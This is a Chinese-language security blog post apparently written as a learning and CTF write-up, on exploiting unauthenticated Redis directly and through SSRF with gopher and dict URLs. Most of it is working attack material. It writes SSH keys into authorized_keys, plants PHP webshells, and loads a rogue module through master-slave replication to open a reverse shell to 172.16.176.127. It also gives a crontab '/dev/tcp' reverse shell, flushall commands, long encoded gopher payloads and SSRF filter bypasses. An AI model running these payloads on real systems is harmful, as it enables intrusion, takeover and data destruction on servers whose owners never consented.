Redis漏洞及搭配ssrf利用姿势

前言

这方面的漏洞之前接触的不是很深,这次学习一下。


基础知识

0x00:Redis

Redis是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis 是一个高性能的key-value数据库。 redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。

0x01:Redis未授权访问

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip访问等,这样将会将 Redis服务暴露到公网上。
如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取Redis 的数据。

漏洞危害:

(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,也可以恶意执行flushall来清空所有数据
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件
(3)如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

图片

0x02:Redis常用命令
 
  1. #连接redis

  2. redis-cli -h ip -p 6379 -a passwd

  3. #查看redis版本信息等

  4. info

  5. #列出当前数据库中所有的键

  6. keys *

  7. # 删除所有数据(谨慎使用)

  8. flushall

  9. # 设置主从关系

  10. slaveof ip port

  11. #设置一个键的值

  12. SET key value

  13. #获取一个建的值

  14. GET key

0x03:环境搭建

我使用的是Ubuntu镜像

 
  1. #下载Redis

  2. wget http://download.redis.io/releases/redis-2.8.17.tar.gz

  3. #安装

  4. tar xzf redis-2.8.17.tar.gz

  5. cd redis-2.8.17

  6. make

make结束后,

 
  1. cd src

  2. 将redis-server和redis-cli拷贝到/usr/bin目录下

这样启动redis-server和redis-cli就不用每次都进入安装目录了
 

图片


返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下
 

图片


启动redis服务

 
  1. redis-server /etc/redis.conf

图片

Redis漏洞复现

 
  1. kail 192.168.66.128

  2. Ubuntu 192.168.66.132

攻击机先扫描一下受害者的主机,看开放了哪些端口

 
  1. nmap -sC -v -n -sV -Pn -p 1-65535 192.168.66.132

图片

0x00:未授权访问
 
  1. cd src

  2. ./redis-cli -h 192.168.66.132 -p 6379

图片


Redis默认密码为空,所以可以直接登陆进去

0x01:写 ssh-keygen 公钥登录服务器

这种利用方式是危害最大的,因为可以使用root身份登录redis服务写入ssh公钥实现使用ssh免密登录受害主机。

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。

密钥验证大致过程如下:

  • 客户端生成私钥和公钥,并把公钥拷贝给服务器端

  • 客户端发起登录请求,发送自己的相关信息

  • 服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端

  • 客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证

  • 服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录

但要利用需要满足两个条件

  1. redis以root身份运行

  2. 服务器开放了SSH服务,而且允许使用密钥登录

在kail中先开启redis服务,然后执行mkdir /root/.ssh命令,创建ssh公钥存放目录
 

图片


在生成公钥和私钥的过程中,密码设置为空

 
  1. ssh-keygen -t rsa

将生成的公钥保存为Sn0w.txt文件

 
  1. cd /root/.ssh/

  2. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > Sn0w.txt

图片


连接上目标机器的redis服务,将文件写入

 
  1. cat Sn0w.txt | redis-cli -h 192.168.66.132 -x set crack

图片


远程连接更改redis备份路径为ssh公钥存放目录
 

图片


设置上传公钥的备份文件名字为authorized_keys
 

图片


检查是否更改成功,保存退出
 

图片


具体命令:

 
  1. config get dir #检查当前保存路径

  2. config get dbfilename #检查保存文件名

  3. config set dir /root/.ssh/ #设置保存路径

  4. config set dbfilename authorized_keys #设置保存文件名

  5. save #进行保存

下面就可以进行SSH连接了

 
  1. ssh -i id_rsa root@192.168.66.132

图片


登陆成功

0x02:通过Redis写webshell

需满足的前提条件:

  1. 知道网站绝对路径,需要增删改查权限

  2. root启动redis

  3. redis弱密码或者无密码

 
  1. 写webshell

  2. #1\设置要写入shell的路径

  3. config set dir /var/www/html

  4. #2\设置文件名

  5. config set dbfilename shell.php

  6. #3\写入phpinfo()到x键

  7. set x "\n<?php phpinfo(); ?>\n"

  8. save

图片


写入成功

图片

0x04:Redis主从复制getshell

Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。

前提条件:

  1. Redis 版本(4.x~5.0.5)(可以编译恶意.so文件)

  2. redis弱密码或者无密码

  3. root启动redis

这里就以[网鼎杯 2020 玄武组]SSRFMe来演示一下,前面就不再叙述了
 

图片


redis的密码是root,遇到ssrf+redis getshell这种的,考察一般都是以下几种姿势:

  • 可写webshell

  • 写ssh公钥

  • 写crontab反弹shell(仅限centos)

  • 主从复制RCE

这道题看师傅们的WP,用的方法都是主从复制RCE


https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
要进行主从复制RCE,就需要利用到这两个工具,第一个用于生成payload,也可以启动恶意服务,第二个主要是exp.so。注意需要将第二个工具exp.so导入到第一个工具下,也就是和rogue-server.py同目录,这里先开启一下rogue-server.py 用于伪装为主redis,它开启的端口为6666
 

图片


 

图片


修改ssrf-redis.py
 

图片


 

图片


 

图片


运行一下
 

图片


生成了payload,但无法利用
 

图片


看了师傅们的WP,就手动去构造吧,然后再进行二次url编码(因为用到了curl)

 
  1. gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

  2. #解码后即为

  3. gopher://0.0.0.0:6379/_auth root

  4. config set dir /tmp/

  5. quit

  6. //设置备份文件路径为/tmp/ 只有/tmp有权限 ,只需要有读权限即可,所以设置目录的时候要多试试

图片

 
  1. gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520172.16.176.127%25206666%250d%250aquit

  2. #解码后即为

  3. gopher://0.0.0.0:6379/_auth root

  4. config set dbfilename exp.so

  5. slaveof 172.16.176.127 6666

  6. quit

  7. #设置备份文件名为:exp.so

图片

图片

 
  1. gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%2520172.16.176.127%25206663%250d%250aquit

  2. #解码后即为

  3. gopher://0.0.0.0:6379/_auth root

  4. module load /tmp/exp.so

  5. system.rev 172.16.176.127 6663

  6. quit

  7. #导入 exp.so ,反弹shell到172.16.176.127:6663

图片

图片

0x05:Crontab执行命令反弹shell

前提要求:

  • 在权限足够的情况下,使用redis写入文件到计划任务目录下执行。

在Ubuntu上没有复现成功,师傅们说是只能在Centos可以复现成功,这里记录一下命令

 
  1. #攻击机先开启监听

  2. nc -lvnp 4444

  3. #连接redis,写入反弹shell

  4. redis-cli -h 192.168.66.132

  5. config set dir /var/spool/cron/

  6. config set dbfilename root

  7. save

图片

SSRF遇上Redis

在利用SSRF攻击Redis前,先要理解一下Redis的客户端和服务端的通信方式,以及数据发送的格式。这就涉及到一个RESP协议

0x00:RESP协议

redis客户端与服务端通信,使用RESP(REdis Serialization Protocal,redis序列化协议)协议通信,该协议是专门为redis设计的通信协议,但也可以用于其它客户端-服务器通信的场景。
RESP可以用于序列化不同的数据类型,如:整型、字符串、数组…并且为错误提供专门的类型;客户端发送请求时,以字符串数组的作为待执行命令的参数。redis服务器根据不同的命令返回不同的数据类型。

RESP协议支持5种数据类型:

  1. 简单字符串(Simple Strings

  2. 错误数据(Errors

  3. 整数(Integers

  4. 批量字符串(Bulk Strings

  5. 数组(Arrays

客户端请求服务器时,会以批量数据类型的数组进行请求封装
服务端发送响应给客户端时,根据命令实现的不同,返回相应的数据类型。
不同的数据类型根据请求/响应报文的第一个字节进行区分:

简单字符串以+开头
错误数据以-开头
整数以:开头
批量字符串以$开头
数组以*开头
每种类型的数据均以CRLF(\r\n)结束,通过数据的首字符区分类型

自己抓一个包看看客户端发送的格式就知道了

 
  1. tcpdump port 6379 -w ./1.pcap

图片


十六进制转储看一下

图片


*3,代表数组的长度为3(类似[“set”,”name”,”Sn0w”]),$4代表字符串的长度,就是Sn0w,0d0a\r\n表示结束符;+OK表示服务端执行成功后返回的字符串


0x01:Gopher协议

Gopher

gopher协议支持GET&POST请求,常用于攻击内网ftpredistelnetsmtp等服务,还可以利用gopher协议访问redis反弹shell

协议格式

gopher://127.0.0.1:70/ + TCP/IP数据
gopher的默认端口为70,`
`是一种数据连接格式,也可以是其他字符

协议的实现

gopher会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如GET,POST请求,redis,mysql未授权访问等,同时数据部分必须要进行url编码,这样gopher协议才能正确解析。
支持gopher协议的有 curl 和 libcurl

如果要给redis发命令,按照序列化规则即可。
先在Redis中加一个key值
set name Sn0w
 

图片


再使用curl来发起Gopher请求 

 
  1. curl gopher://192.168.66.132:6379/_*2

  2. $3

  3. get

  4. $4

  5. name

将其转换为gopher格式的数据传入,转换规则
Windows 在行尾使用 CRLF (carriage return/line feed, 0d 0a)
UNIX 只使用 LF(0a)
参考了很多师傅们的博客,都说是直接url编码即可,但应该确切一点是 url16进制加密
 

图片


但是这样还不行,因为没有结束符,所以手动添加上%0d%0a,最终payload:
_%2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a
 

图片


这样才能正常进行回显内容(PS:在这个地方纠结很久),如果是在web环境中,需要编码两次(因为URL会自动解析一次)

但是手动生成过于麻烦,这里推荐一个生成准确的gopher语句,使用这个工具:

使用方法:
编辑redis-over-gopher/redis.cmd为redis执行的命令,一句命令一行,编辑之后运行即可

图片

0x02:Dict协议

dict

词典网络协议,允许客户端在使用过程中访问更多字典。

协议格式

dict://serverip:port/命令:参数
向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF),dict协议要一条一条的执行命令

协议作用

利用dict协议可以探测端口的开放情况和指纹信息

 
  1. #探测dict协议是否可用

  2. ?url=dict://127.0.0.1:6379/info

  3. ?url=dict://127.0.0.1:6379/get:user

  4. ?url=dict://127.0.0.1:6379/flushall

0x03:File&http协议

file&http

file协议主要用于读取服务器本地文件,访问的是本地的静态资源
file只能静态读取,http可以动态解析

命令格式

file://文件路径

其他协议可以看师傅汇总的

0x04:题目训练**


先使用dict协议探测一下端口,http协议有的时候会探测不到 

图片

**
协议没有被过滤,那么就可以考虑使用Gopher协议去攻击Redis,常见的也就四种:

  1. 写SSH

  2. 写Webshell

  3. 主从复制

  4. 反弹shell

这里先尝试一下写webshell,使用file协议查看一下发现有www-data用户,对应的目录就是/var/www,那应该/var/www/html便是网站根目录了

图片


那下面就写webshell,常见的payload如下:

 
  1. flushall

  2. config set dir /var/www/html

  3. config set dbfilename shell.php

  4. set 'webshell' '<?php phpinfo();?>'

  5. save

利用上面的工具生成适配于准确无误的gopher
 

图片


再进行url编码一次,传入进去

 
  1. ?url=gopher://127.0.0.1:6379/_%25%32%61%25%33%31%25%30%64%25%30%61%25%32%34%25%33%38%25%30%64%25%30%61%25%36%36%25%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%30%64%25%30%61%25%32%61%25%33%34%25%30%64%25%30%61%25%32%34%25%33%36%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%37%33%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%36%34%25%36%39%25%37%32%25%30%64%25%30%61%25%32%34%25%33%31%25%33%33%25%30%64%25%30%61%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%30%64%25%30%61%25%32%61%25%33%34%25%30%64%25%30%61%25%32%34%25%33%36%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%37%33%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%31%25%33%30%25%30%64%25%30%61%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%30%64%25%30%61%25%32%34%25%33%39%25%30%64%25%30%61%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30%25%30%64%25%30%61%25%32%61%25%33%33%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%37%33%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%38%25%30%64%25%30%61%25%37%37%25%36%35%25%36%32%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%30%64%25%30%61%25%32%34%25%33%31%25%33%38%25%30%64%25%30%61%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%37%30%25%36%38%25%37%30%25%36%39%25%36%65%25%36%36%25%36%66%25%32%38%25%32%39%25%33%62%25%33%66%25%33%65%25%30%64%25%30%61%25%32%61%25%33%31%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35%25%30%64%25%30%61

图片


可以看到shell.php文件已经传入成功,下面写马连接即可(需要注意过滤了空格,使用${IFS}绕过即可)

图片


再推荐一个工具
https://github.com/tarunkant/Gopherus

0x05:整理一些payload及bypass姿势

Gopher协议反弹shell

 
  1. flushall

  2. set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n'

  3. config set dir /var/spool/cron/

  4. config set dbfilename root

  5. save

SSRF bypass姿势

 
  1. #url跳转bypass:

  2. 利用问号绕过限制

  3. url=https://www.baidu.com?www.xxxx.me

  4. 利用@绕过限制

  5. url=https://www.baidu.com@www.xxxx.me

  6. 3.利用斜杠反斜杠绕过限制

  7. 4.利用#绕过限制

  8. url=https://www.baidu.com#www.xxxx.me

  9. 5.利用子域名绕过

  10. 6.利用畸形url绕过

  11. 7.利用跳转ip绕过

数字IP Bypass

 
  1. 如果过滤了127等,可以使用IP转数字

  2. 例如:

  3. 127.0.0.1-》2130706433

总结

这篇博客就总结到这里,下次把经典一点的SSRF题目都总结到一起再学习一波,冲冲冲!

参考博客

https://www.cnblogs.com/bmjoker/p/9548962.html
https://www.freebuf.com/articles/web/249238.html

  申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

  • 19
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值